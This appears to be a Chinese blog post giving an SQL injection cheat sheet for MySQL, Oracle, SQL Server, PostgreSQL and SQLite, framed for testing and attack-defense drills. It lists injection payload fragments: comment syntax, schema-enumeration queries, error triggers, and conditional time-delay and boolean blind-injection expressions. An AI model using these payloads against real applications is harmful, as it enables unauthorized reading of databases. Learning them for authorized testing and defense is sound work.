sql注入时,关于各个数据库的关键知识点

在网络安全领域,SQL 注入(SQL Injection)是一种非常经典且常见的攻击方式。而想要进行有效的 SQL 注入,熟悉不同数据库的基本特点和差异是非常重要的。


为什么要了解不同数据库?

在实际攻击或测试过程中,目标系统后端使用的数据库类型可能不同,如 MySQL、Oracle、SQL Server、PostgreSQL、SQLite 等。
不同数据库在:

  • SQL语法(特别是字符串处理、条件判断、错误信息)
  • 特定函数(如字符串拼接、取子串、时间延迟)
  • 特殊表(如 Oracle 的 dual 表)
  • 错误处理机制

1. MySQL

  • 字符串拼接
    使用 CONCAT('a', 'b') 进行字符串连接。
    'a' 'b' 注意中间的空格
  • 注释
    单行注释:-- (注意后面跟空格)
    另一种:#/*abc*/
  • 盲注常用技巧
    SLEEP(5) 实现延时注入。
    SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') 实现条件延时
  • 特有函数
    SUBSTRING(str, pos, len) 提取子串。
    LENGTH(str) 计算字符串长度。
  • 常用查询语句
    SELECT @@version 查询数据库版本
    SELECT * FROM information_schema.table 查询数据库中信息
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME' 查询数据库中特定表中信息
    SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') 条件判断,布尔盲注
  • 常见错误识别
    报错信息中经常出现 You have an error in your SQL syntax

特点:容错性高,注释灵活,注入 payload 构造比较简单。


2. Oracle

  • 注释
    -- 也是Oracle注释,但小心空格问题。
  • 字符串拼接
    使用 || 进行拼接,如 'abc' || 'def'
  • 特有表
    dual,用于没有 FROM 子句时补充,比如 SELECT 1 FROM dual
  • 常用查询语句
    SUBSTR(str, pos, len) 提取子串。
    SELECT banner FROM v$version,SELECT version FROM v$instance 查询数据库版本
    SELECT * FROM all_tables查询数据库中信息
    SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' 查询数据库中特定表中信息
  • 盲注常用技巧
    1.利用条件触发异常,例如:TO_CHAR(1/0) 造成除零错误。
    2.dbms_pipe.receive_message(('a'),10) 延时
    3.SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual 条件延时
  • 常见限制
    不允许 SELECT 返回多行;需要 ROWNUM=1 限制。

特点:语法严格,需要对 SQL 构造非常精细;通过错误反馈判断注入是否成功。


3. Microsoft SQL Server(MSSQL)

  • 字符串拼接
    使用 + 进行拼接,如 'abc' + 'def'
  • 盲注常用技巧
    使用 WAITFOR DELAY '00:00:05' 进行时间盲注。
  • 特殊函数
    LEN(str) 计算长度。
    SUBSTRING(str, start, length) 截取子串。
  • 错误注入
    比如非法转换错误:CONVERT(int, 'abc')
  • 常见注释
    -- 注释行。

特点:延迟注入好用,字符串处理灵活。


4. PostgreSQL

  • 字符串拼接
    使用 || 拼接。
  • 盲注技巧
    使用 pg_sleep(5) 进行延迟。
  • 其他特性
    错误信息非常详细。
    支持子查询、UNION注入等多种方式。
  • 注释
    标准 SQL 风格 --

特点:语法接近标准 SQL,支持复杂查询,但安全配置较好时防护很强。


5. SQLite

  • 字符串拼接
    使用 ||
  • 盲注技巧
    支持 randomblob() 或使用复杂查询绕过。
  • 常见限制
    不支持很多传统数据库中的高级功能,比如延迟函数。
  • 注释
    -- 注释行。

特点:轻量,语法简洁,但功能有限,注入方式相对简单。


小结

  • 不需要把每种数据库学得很深,只要掌握:
    • 拼接方式(CONCAT / || / +)
    • 延迟注入方法(SLEEP / pg_sleep / WAITFOR DELAY)
    • 特殊表和错误处理(dual表 / 错误特征)
    • 注释符

只要掌握了这些内容,进行基本的 SQL 注入测试和攻防演练已经完全够用了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值